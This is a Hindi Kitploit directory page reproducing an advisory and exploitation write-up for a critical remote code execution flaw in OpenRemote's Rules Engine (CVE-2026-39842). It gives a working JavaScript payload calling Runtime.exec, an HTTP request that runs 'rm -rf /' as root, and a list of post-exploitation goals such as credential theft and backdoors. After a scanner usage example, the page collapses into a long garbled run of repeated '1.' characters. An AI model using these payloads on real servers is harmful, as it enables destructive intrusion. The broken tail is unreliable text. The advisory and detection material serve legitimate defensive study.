Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-39842 — OpenRemote के Rules Engine में गंभीर रिमोट कोड निष्पादन भेद्यता प्रमाणित उपयोगकर्ताओं को `write:rules` भूमिका के साथ सर्वर पर रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करने की अनुमति देती है। | Kitploit
उपकरण/GitHubGitHub/keraattin/cve-2026-39842
टोहीभेद्यता स्कैनरभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubkeraattin/cve-2026-39842

CVE-2026-39842

OpenRemote के Rules Engine में गंभीर रिमोट कोड निष्पादन भेद्यता प्रमाणित उपयोगकर्ताओं को `write:rules` भूमिका के साथ सर्वर पर रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करने की अनुमति देती है।

रिपॉजिटरी देखें
14 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-39842: OpenRemote Rules Engine में Expression Injection RCE

CVE-2026-39842 CVSS 10.0 Critical CWE-94 CWE-917 OpenRemote Status FIXED

TL;DR

OpenRemote के Rules Engine में गंभीर रिमोट कोड एक्ज़ीक्यूशन भेद्यता, जो write:rules भूमिका वाले प्रमाणित उपयोगकर्ताओं को सर्वर पर रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करने की अनुमति देती है।

  • CVSS स्कोर: 10.0 (क्रिटिकल)
  • CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • प्रभावित संस्करण: OpenRemote <= 1.21.0
  • फिक्स्ड संस्करण: OpenRemote >= 1.22.0
  • प्रमाणीकरण आवश्यक: हाँ (write:rules भूमिका, गैर-सुपरयूज़र हो सकती है)
  • शोषण: रूट उपयोगकर्ता के रूप में RCE, फ़ाइल सिस्टम एक्सेस, पर्यावरण चर की चोरी, मल्टी-टेनेंट डेटा उल्लंघन
  • परामर्श: GHSA-7mqr-33rv-p3mp

विषय-सूची

  • त्वरित तथ्य
  • OpenRemote क्या है?
  • भेद्यता का गहन विश्लेषण
  • प्रभाव विश्लेषण
  • प्रभावित संस्करण
  • पहचान
  • समझौते के संकेतक
  • निवारण
  • संदर्भ
  • लेखक

त्वरित तथ्य


OpenRemote क्या है?

OpenRemote स्मार्ट इमारतों, शहरों और उद्योगों के निर्माण के लिए एक ओपन-सोर्स IoT प्लेटफ़ॉर्म है। यह इंटरनेट ऑफ थिंग्स पारिस्थितिकी तंत्र के लिए डिवाइस प्रबंधन, स्वचालन नियम, विश्लेषण और एकीकरण प्रदान करता है।

मुख्य विशेषताएं

  • कई प्रोटोकॉल (MQTT, Modbus, BACnet, HTTP) में डिवाइस और एसेट प्रबंधन
  • IoT स्वचालन और लॉजिक प्रोसेसिंग के लिए Rules Engine
  • रोल-आधारित एक्सेस कंट्रोल के साथ मल्टी-टेनेंट आर्किटेक्चर
  • रीयल-टाइम डैशबोर्ड और मॉनिटरिंग
  • कई स्क्रिप्ट भाषाओं का उपयोग करके कस्टम नियम निर्माण
  • एकीकरण और प्रबंधन के लिए REST API
  • क्लाउड और ऑन-प्रिमाइसेस डिप्लॉयमेंट विकल्प

OpenRemote आर्किटेक्चर```

root@kitploit:~
                  Internet / Network
                         |
                ┌────────┴────────┐
                v                 v
        ┌──────────────┐  ┌──────────────┐
        | Web Browser  |  | Mobile App   |
        └──────────────┘  └──────────────┘
                |                 |
                └────────┬────────┘
                         v
                ┌──────────────────┐
                | OpenRemote API   |
                | (REST/WebSocket) |
                └────────┬─────────┘
                         v
                ┌──────────────────┐
                | Manager Service  |
                |  (Port 8080)     |
                └────────┬─────────┘
                         |
    ┌────────────────────┼────────────────────┐
    |                    |                    |
    v                    v                    v

┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘

root@kitploit:~
## भेद्यता गहन विश्लेषण

### मूल कारण विश्लेषण

यह भेद्यता OpenRemote के Rules Engine में दो गंभीर खामियों से उत्पन्न होती है:

**खामी 1: बिना सैंडबॉक्स वाला Nashorn JavaScript इंजन**

Java Nashorn JavaScript इंजन का उपयोग उपयोगकर्ता-प्रदत्त नियम अभिव्यक्तियों का मूल्यांकन करने के लिए बिना किसी सैंडबॉक्सिंग, सुरक्षा प्रबंधक, या ClassFilter प्रतिबंधों के किया जाता है। यह हमलावरों को JavaScript संदर्भ से सीधे Java कक्षाओं तक पहुँचने की अनुमति देता है।

**खामी 2: अक्षम Groovy सैंडबॉक्स**

Groovy स्क्रिप्ट इंजन में कोड निष्पादन को रोकने के लिए एक GroovyDenyAllFilter पंजीकृत था, लेकिन यह फ़िल्टर पंजीकरण कोडबेस में टिप्पणी कर दिया गया था। केवल Groovy प्रवर्तन API स्तर पर मौजूद था (RulesResourceImpl.java:262), लेकिन JavaScript पर कोई प्रतिबंध नहीं थे।

### भेद्य कोड पथ```
RulesResource.java (lines 153-158)
    |
    > POST request handler for rule creation
    |
    v
RulesetDeployment.java (line 368)
    |
    > scriptEngine.eval(ruleExpression)
    |
    v
Nashorn Engine
    |
    > No ClassFilter / SecurityManager
    > Java.type() accessible
    > Runtime.exec() available

प्राधिकरण बाईपास

यह भेद्यता write:rules भूमिका वाले प्रमाणित उपयोगकर्ताओं को प्रभावित करती है। RulesResourceImpl.java:262 पर प्राधिकरण जांच केवल गैर-सुपरयूज़र के लिए Groovy को ब्लॉक करती है:``` if (!isUserSuperuser && isGroovy) { throw new UnauthorizedException("Groovy rules not allowed"); }

root@kitploit:~
इसका अर्थ है:
- गैर-सुपरयूज़र JavaScript नियम बना सकते हैं (कोई ब्लॉक नहीं)
- गैर-सुपरयूज़र Groovy नियम नहीं बना सकते (ब्लॉक किया गया)
- JavaScript में कोई सैंडबॉक्सिंग नहीं है, इसलिए write:rules वाला कोई भी प्रमाणित उपयोगकर्ता शोषण संभव है

इसके अतिरिक्त, assetStorageService पर रिफ्लेक्शन के माध्यम से मल्टी-टेनेंट आइसोलेशन को बायपास किया जा सकता है, जिससे अन्य रियल्म्स का डेटा एक्सेस किया जा सकता है।

### अटैक फ्लो```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role     |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks)         |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload      |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted   |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root              |
└─────────────────────────────────────────────────────┘

चरण-दर-चरण शोषण

चरण 1: write:rules क्रेडेंशियल प्राप्त करें

एक प्रमाणित उपयोगकर्ता को write:rules भूमिका की आवश्यकता होती है। यह हो सकता है:

  • एक वैध सिस्टम प्रशासक
  • एक समझौता किया गया खाता
  • अत्यधिक भूमिका असाइनमेंट वाला उपयोगकर्ता

चरण 2: JavaScript पेलोड तैयार करें

JavaScript का उपयोग करके एक नियम अभिव्यक्ति बनाएं जो Java Runtime तक पहुंचती है:```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;

root@kitploit:~
**चरण 3: असुरक्षित एंडपॉइंट पर भेजें**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json

{
    "name": "malicious_rule",
    "enabled": true,
    "trigger": "timer",
    "actions": [
        {
            "type": "local_action",
            "target": "asset_id",
            "action": "perform_action",
            "value": "// Payload here"
        }
    ],
    "ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}

चरण 4: नियम निष्पादन

प्लेटफ़ॉर्म नियम का मूल्यांकन तुरंत या निर्धारित ट्रिगर समय पर करता है, और पेलोड को रूट विशेषाधिकारों के साथ निष्पादित करता है।

चरण 5: पोस्ट-एक्सप्लॉइटेशन

रूट के रूप में RCE के साथ, हमलावर यह कर सकते हैं:

  • संवेदनशील फ़ाइलें पढ़ना (/etc/passwd, एप्लिकेशन कॉन्फ़िगरेशन)
  • API कुंजियों और क्रेडेंशियल्स वाले पर्यावरण चर चुराना
  • सिस्टम कॉन्फ़िगरेशन संशोधित करना
  • बैकडोर या पर्सिस्टेंस तंत्र स्थापित करना
  • PostgreSQL डेटाबेस तक सीधे पहुंच प्राप्त करना
  • मल्टी-टेनेंट डिप्लॉयमेंट में सभी टेनेंट्स के डेटा का उल्लंघन करना

प्रभाव विश्लेषण

गंभीरता: CRITICAL (CVSS 10.0)

रिमोट कोड निष्पादन

प्रमाणित हमलावर OpenRemote सर्वर पर रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करते हैं। यह सबसे उच्च गंभीरता वाला प्रभाव है, जो पूर्ण सिस्टम समझौता करने की अनुमति देता है।``` Result of successful exploitation: uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
#### फ़ाइल सिस्टम एक्सेस

सिस्टम पर सभी फ़ाइलों तक पूर्ण पढ़ने और लिखने की पहुंच:

- एप्लिकेशन सोर्स कोड का खुलासा
- संवेदनशील कॉन्फ़िगरेशन फ़ाइलें (डेटाबेस पासवर्ड, API कुंजियाँ)
- सिस्टम फ़ाइलें और क्रेडेंशियल्स
- Docker कंटेनर फ़ाइलें (यदि कंटेनराइज़्ड है)

#### पर्यावरण चर की चोरी

निम्नलिखित युक्त पर्यावरण चर तक पहुंच:
- डेटाबेस कनेक्शन स्ट्रिंग्स
- API कुंजियाँ और टोकन
- OAuth रहस्य
- निजी एन्क्रिप्शन कुंजियाँ
- AWS/Cloud क्रेडेंशियल्स

#### डेटा उल्लंघन

मल्टी-टेनेंट परिनियोजन में, हमलावर रिफ्लेक्शन के माध्यम से टेनेंट अलगाव को बायपास कर सकते हैं:

- सभी टेनेंट्स से एक साथ डेटा एक्सेस करें
- गोपनीय IoT सेंसर डेटा पढ़ें
- संगठनों में स्वचालन नियम संशोधित करें
- व्यावसायिक खुफिया और मालिकाना जानकारी निकालें

#### सिस्टम अखंडता

- स्थायी बैकडोर स्थापना
- मैलवेयर परिनियोजन
- रैनसमवेयर निष्पादन
- आपूर्ति श्रृंखला समझौता (यदि विकास में उपयोग किया जाता है)

#### सेवा व्यवधान

- संसाधन क्षय के माध्यम से सेवा से इनकार
- डेटाबेस विलोपन या भ्रष्टाचार
- कॉन्फ़िगरेशन छेड़छाड़
- सिस्टम शटडाउन या पुनरारंभ

---

## प्रभावित संस्करण

| संस्करण | स्थिति | नोट्स |
|---------|--------|-------|
| <= 1.15.0 | असुरक्षित | मूल भेद्यता मौजूद है |
| 1.16.0 | असुरक्षित | कोई फिक्स लागू नहीं |
| 1.17.0 | असुरक्षित | कोई फिक्स लागू नहीं |
| 1.18.0 | असुरक्षित | कोई फिक्स लागू नहीं |
| 1.19.0 | असुरक्षित | कोई फिक्स लागू नहीं |
| 1.20.0 | असुरक्षित | कोई फिक्स लागू नहीं |
| 1.21.0 | असुरक्षित | अंतिम प्रभावित संस्करण |
| 1.22.0+ | ठीक किया गया | JavaScript नियम इंजन पूरी तरह से हटा दिया गया |

### संस्करण विवरण

- **असुरक्षित सीमा**: 1.0.0 से 1.21.0 तक (JS नियम इंजन वाले सभी संस्करण)
- **ठीक किया गया संस्करण**: 1.22.0 (JavaScript नियम इंजन पूरी तरह से हटा दिया गया)
- **बैकपोर्ट्स**: पुराने संस्करणों के लिए कोई सुरक्षा बैकपोर्ट उपलब्ध नहीं; अपग्रेड आवश्यक है

---

## पहचान

### यह कैसे काम करता है

पहचान तंत्र OpenRemote इंस्टेंस की पहचान करते हैं और कई तरीकों से भेद्यता स्थिति की जांच करते हैं:

1. **HTTP बैनर पहचान**: OpenRemote की पहचान करने और संस्करण जानकारी निकालने के लिए API रूट एंडपॉइंट को क्वेरी करता है
2. **एंडपॉइंट फ़िंगरप्रिंटिंग**: असुरक्षित एंडपॉइंट्स की उपस्थिति और व्यवहार का परीक्षण करता है
3. **संस्करण सहसंबंध**: पहचाने गए संस्करण की तुलना ज्ञात भेद्यता सीमाओं से करता है
4. **प्रतिक्रिया विश्लेषण**: OpenRemote हस्ताक्षरों के लिए त्रुटि संदेशों और प्रतिक्रिया संरचनाओं की जांच करता है

### Python स्कैनर

`detect_openremote.py` स्कैनर स्वचालित पहचान और भेद्यता मूल्यांकन करता है।

#### स्थापना```bash
python3 -m pip install requests

उपयोग```bash

python3 detect_openremote.py [OPTIONS]

root@kitploit:~
#### विकल्प

| विकल्प | शॉर्ट | लॉन्ग | प्रकार | विवरण |
|--------|-------|------|------|-------------|
| लक्ष्य | -t | --target | string | एकल लक्ष्य URL (जैसे, http://10.0.0.1:8080) |
| सूची | -l | --list | file | लक्ष्यों की सूची वाली फ़ाइल (प्रति पंक्ति एक) |
| आउटपुट | -o | --output | file | परिणाम CSV फ़ाइल में लिखें |
| विस्तृत | -v | --verbose | flag | विस्तृत प्रतिक्रियाओं के साथ विस्तृत आउटपुट सक्षम करें |
| टाइमआउट | | --timeout | int | HTTP अनुरोध टाइमआउट सेकंड में (डिफ़ॉल्ट: 10) |
| बैनर | | --no-banner | flag | बैनर प्रिंटिंग छोड़ें |

#### उदाहरण: एकल लक्ष्य```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose

3.2.2.2.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.